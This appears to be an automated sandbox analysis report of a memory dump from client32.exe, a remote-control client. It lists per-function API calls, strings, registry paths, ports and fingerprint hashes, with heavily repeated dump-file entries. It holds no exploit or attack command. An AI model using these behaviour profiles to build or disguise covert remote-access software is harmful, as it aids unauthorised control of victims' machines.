Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath$CloseFileHandleIdleInputModuleNameSleepWaitwsprintf
String ID: %s%s$Cobrowse FindWindow ret %x$Cobrowse WaitForInputIdle ret %x$NSMCobrMain$NSMCobrProxy$client32.exe /cobrowse
API String ID: 1983868302-3988794623
Opcode ID: 3b1aaaaa0c5922aa4f6bc2fea3c80576ea5bd589def0aaa2b8293e7e1972bfa4
Instruction ID: 82b3edcd83601c167001e6aa3d0997afc3f54d4d4a7b343ab0a8b74466ef4d24
Opcode Fuzzy Hash: 3b1aaaaa0c5922aa4f6bc2fea3c80576ea5bd589def0aaa2b8293e7e1972bfa4
Instruction Fuzzy Hash: A741B274E44309AFDB60DF64CC45FEEB7F5AB08B08F004599E919A7680DA70A940CB61

Function 11015660 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 123registrytimeCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11015678
LoadCursorA.USER32(00000000,00007F00), ref: 110156D4
RegisterClassA.USER32(00000003), ref: 110156EE

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

CreateWindowExA.USER32(00000008,NSMIdentifyWnd,?,90000000,?,?,?,?,00000000,00000000,00000000), ref: 1101574F
UpdateWindow.USER32(00000000), ref: 1101579D
SetTimer.USER32(00000000,00000001,?,00000000), ref: 110157D0

Strings

..\ctl32\NSMIdentifyWnd.cpp, xrefs: 110156FB, 1101575F
NSMIdentifyWnd, xrefs: 110156E7, 11015748
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11015787, 110157B5
m_hWnd, xrefs: 11015764, 1101578C, 110157BA

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Windowwsprintf$ClassCreateCursorErrorExitLastLoadMessageProcessRegisterTimerUpdate
String ID: ..\ctl32\NSMIdentifyWnd.cpp$NSMIdentifyWnd$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1905683801-3620323974
Opcode ID: 23e57b657c81a1d420a96cede1f443d69ad6ecae00286fd139198529a744739a
Instruction ID: 61e1f5e60b3a4d6c52097a453ca3e1184f1617b919ecbaf4286c0b104a5e04a4
Opcode Fuzzy Hash: 23e57b657c81a1d420a96cede1f443d69ad6ecae00286fd139198529a744739a
Instruction Fuzzy Hash: A44161B5E00209AFD710CFA5CC85BDEFBF8BB48304F10856AE529E7644E775A540CB91

Function 110276A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,00000000), ref: 110276BF
OpenProcessToken.ADVAPI32(00000000), ref: 110276C6
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,00000000,?,?,00000000), ref: 110276E8
_malloc.LIBCMT ref: 110276EE

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?), ref: 11027708
LookupPrivilegeNameA.ADVAPI32(00000000,00000004,?,?), ref: 11027729
_free.LIBCMT ref: 11027754
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1102FA1C), ref: 11027766

Strings

@, xrefs: 1102771E
Luid Low=%x, High=%x, Attr=%x, name=%s, xrefs: 1102773E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$AllocateCloseCurrentHandleHeapLookupNameOpenPrivilege_free_malloc
String ID: @$Luid Low=%x, High=%x, Attr=%x, name=%s
API String ID: 2190874299-3275751932
Opcode ID: 0271db90772607bb65eaa6d9bb4202db7e906805055f1da97c36a874af3719c6
Instruction ID: 7efe3961d46ca3303e5913aa27d02a5643f2587f40a0b85f69ee505bdaa5acf5
Opcode Fuzzy Hash: 0271db90772607bb65eaa6d9bb4202db7e906805055f1da97c36a874af3719c6
Instruction Fuzzy Hash: DB2171B5E00219ABDB10DFE4CC84EAFBBBCEF44718F144129E915A7244D771B906CBA1

Function 1106F060 Relevance: 16.8, APIs: 3, Strings: 8, Instructions: 297COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1106F397
EnterCriticalSection.KERNEL32(?,?,?,?,?,?), ref: 1106F3E8
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?), ref: 1106F408

Strings

%s:%d, xrefs: 1106F391
Port, xrefs: 1106F353
NameResp from %s(%s), len=%d/%d, flags=%d, channel=%s, xrefs: 1106F200
TCPIP, xrefs: 1106F1CA, 1106F2F7, 1106F358, 1106F375
(null), xrefs: 1106F1DE, 1106F1F0
tracerecv, xrefs: 1106F1C5
UseNCS, xrefs: 1106F2F2
ListenPort, xrefs: 1106F370

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeavewsprintf
String ID: %s:%d$(null)$ListenPort$NameResp from %s(%s), len=%d/%d, flags=%d, channel=%s$Port$TCPIP$UseNCS$tracerecv
API String ID: 3005300677-3496508882
Opcode ID: 813a8df51b421849a73fb34c3018abb507ddb1008c2509d1f87bc1f88576a655
Instruction ID: 2680b2d19a9bdf8eb0956d8c99ae1cac6e929f7b4449284ea49473897193c40b
Opcode Fuzzy Hash: 813a8df51b421849a73fb34c3018abb507ddb1008c2509d1f87bc1f88576a655
Instruction Fuzzy Hash: 9EB1A375E0022A9FDB14DF65CC50FAAB7B9AF49708F4041DCE909A7241EB71A981CF62

Function 1103B430 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 184COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHFOLDER(00000000,00000005,00000000,00000000,?), ref: 1103B497
GetUserNameA.ADVAPI32(?,?), ref: 1103B4BE

Part of subcall function 110D0710: __strdup.LIBCMT ref: 110D072A

_fgets.LIBCMT ref: 1103B55F
_free.LIBCMT ref: 1103B5C6

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 110D07C0: _free.LIBCMT ref: 110D07ED

CloseHandle.KERNEL32(00000000), ref: 1103B69C

Strings

P, xrefs: 1103B4B4
\Rewards.bin, xrefs: 1103B4D6
IsA(), xrefs: 1103B50B
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103B506

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$CloseErrorExitFolderHandleLastMessageNamePathProcessUser__strdup_fgetswsprintf
String ID: IsA()$P$\Rewards.bin$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 2727059318-37391384
Opcode ID: 21042dabe4302790889957fcdf0b193290070831c9d0ae23097ecb091f194145
Instruction ID: 9cbe2027e90b6485a44e8e4046be3e5472a02b3b41cc18688c1d521a1ff731bb
Opcode Fuzzy Hash: 21042dabe4302790889957fcdf0b193290070831c9d0ae23097ecb091f194145
Instruction Fuzzy Hash: 2A717E75D0071A9FDB15DBA4CC84FEEB3B8AF48308F0442D8D519A7281EB75AA44CF90

Function 110CD630 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 174COMMON

Download Yara Rule

APIs

GetClientRect.USER32(00000000,?), ref: 110CD68D
BeginDeferWindowPos.USER32(?), ref: 110CD6D8
GetWindowRect.USER32(?,?), ref: 110CD703
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 110CD730

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

NSMDlg::PositionControls(), dlg L=%d, T=%d, W=%d, H=%d, dlgdx=%d, dlgdy=%d, xrefs: 110CD6BE
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110CD673
m_hWnd, xrefs: 110CD678

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Rect$BeginClientDeferErrorExitLastMessagePointsProcesswsprintf
String ID: NSMDlg::PositionControls(), dlg L=%d, T=%d, W=%d, H=%d, dlgdx=%d, dlgdy=%d$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1318711716-1344931218
Opcode ID: a4c641170c47423e8ac78e3ea5506bb8afe3d0493dba1b3bb21fb16a67788885
Instruction ID: ee80f69412d45a004da56ef9482371e3e8ce3d7f15b35d2ad78fffd79bf35d29
Opcode Fuzzy Hash: a4c641170c47423e8ac78e3ea5506bb8afe3d0493dba1b3bb21fb16a67788885
Instruction Fuzzy Hash: 5D71E4B5E00609AFCB14CFA9D984AAEFBF5FF88714B108659E425A7744D730B841CFA0

Function 1100B740 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 149COMMON

Download Yara Rule

APIs

GetOverlappedResult.KERNEL32(?,59FD4680,FFFFFFFF,00000001), ref: 1100B78C
GetLastError.KERNEL32 ref: 1100B796
GetTickCount.KERNEL32 ref: 1100B7F9
wsprintfA.USER32 ref: 1100B836
ResetEvent.KERNEL32(?), ref: 1100B8EF

Strings

New hooked channels,bitspersample=%d,%d (old %d,%d), xrefs: 1100B874, 1100B8D7
Audio, xrefs: 1100B890, 1100B8B0
Hook_bits_per_sample, xrefs: 1100B8AB
Hook_channels, xrefs: 1100B88B

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountErrorEventLastOverlappedResetResultTickwsprintf
String ID: Audio$Hook_bits_per_sample$Hook_channels$New hooked channels,bitspersample=%d,%d (old %d,%d)
API String ID: 3598861413-432254317
Opcode ID: 39ac341e869e7e4ca3b07b9f6877c66a67265ff52a029bc38a796ebafe24891f
Instruction ID: 45def2f4c6c1e8bedf13dc8d5f6af1e3bd34cd83063a32ab0d32664e281c8988
Opcode Fuzzy Hash: 39ac341e869e7e4ca3b07b9f6877c66a67265ff52a029bc38a796ebafe24891f
Instruction Fuzzy Hash: FC51E3B8D00A1AABE710DF64CC84ABBB7F8FF48749F004519F56993281E734B980C7A5

Function 110595C0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 141registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,59FD48C0,00000000,00000000,757323A0,11059867,00000000,00000000), ref: 11059618
LeaveCriticalSection.KERNEL32(?), ref: 1105973A

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

RegOpenKeyExA.ADVAPI32(-80000002,SOFTWARE\Productive Computer Insight\Client32\AutoReconnect,00000000,0002001F,?), ref: 110596CD
RegDeleteValueA.ADVAPI32(?,?), ref: 110596ED
RegCloseKey.ADVAPI32(?), ref: 110596F7
SetEvent.KERNEL32(?), ref: 11059730

Strings

SOFTWARE\Productive Computer Insight\Client32\AutoReconnect, xrefs: 1105968C, 110596C1
gMain.pReconnThread, xrefs: 11059601
CltReconn.cpp, xrefs: 110595FC

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterErrorEventExitLastLeaveMessageOpenProcessValuewsprintf
String ID: CltReconn.cpp$SOFTWARE\Productive Computer Insight\Client32\AutoReconnect$gMain.pReconnThread
API String ID: 1302350719-2578778249
Opcode ID: 68027b3c7ee8842ef61d89125159b96b6acee97a4b5633a2cea115a7ef36fa4b
Instruction ID: 2a435f2b6dcbcd6807d97d44f0875f24cd397b994a036d807f1c9080d97eba21
Opcode Fuzzy Hash: 68027b3c7ee8842ef61d89125159b96b6acee97a4b5633a2cea115a7ef36fa4b
Instruction Fuzzy Hash: 8D41E675D0461AAFD781CF74C8C0AAABBA9FB4A714F514269E925D7240F731E809CBA0

Function 11047160 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 330windowtimeCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 11047211
_malloc.LIBCMT ref: 110472AD
_memmove.LIBCMT ref: 11047312
SendMessageTimeoutA.USER32(?,0000004A,000802A6,00000005,00000002,00002710,?), ref: 11047372
_free.LIBCMT ref: 11047379

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 11043870: _free.LIBCMT ref: 11043907
Part of subcall function 11043870: _free.LIBCMT ref: 11043927
Part of subcall function 11043870: _strncpy.LIBCMT ref: 11043955
Part of subcall function 11043870: _strncpy.LIBCMT ref: 11043992
Part of subcall function 11043870: _malloc.LIBCMT ref: 110439CC

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 11047297, 110472CE, 110472FA, 11047338
IsA(), xrefs: 1104729C, 110472D3, 110472FF, 1104733D
SurveyResults, xrefs: 110474E5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$Message_malloc_strncpy$ErrorExitLastProcessSendTimeoutWindow_memmovewsprintf
String ID: IsA()$SurveyResults$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h
API String ID: 3960737985-1318765656
Opcode ID: 6f3482f183dc71e32b0e781e0e1ae71b2587e219f1bd543c2aaaf4bdd4110b9c
Instruction ID: e7dd2455d00588b8b0596ee18c4208b20e6f9302996f578dcf6f33cfb97cf12a
Opcode Fuzzy Hash: 6f3482f183dc71e32b0e781e0e1ae71b2587e219f1bd543c2aaaf4bdd4110b9c
Instruction Fuzzy Hash: 18C1A374E0064A9FDB04DFE4C8D0EEEF7B5BF88308F208168D519AB295DB70A945CB90

Function 1102D1A0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1102D1C0

Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 111603F8
Part of subcall function 111603E3: __CxxThrowException@8.LIBCMT ref: 1116040D
Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 1116041E

_memmove.LIBCMT ref: 1102D24A
_memmove.LIBCMT ref: 1102D26E
_memmove.LIBCMT ref: 1102D2A8
_memmove.LIBCMT ref: 1102D2C4
std::exception::exception.LIBCMT ref: 1102D30E
__CxxThrowException@8.LIBCMT ref: 1102D323

Strings

deque<T> too long, xrefs: 1102D1BB

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

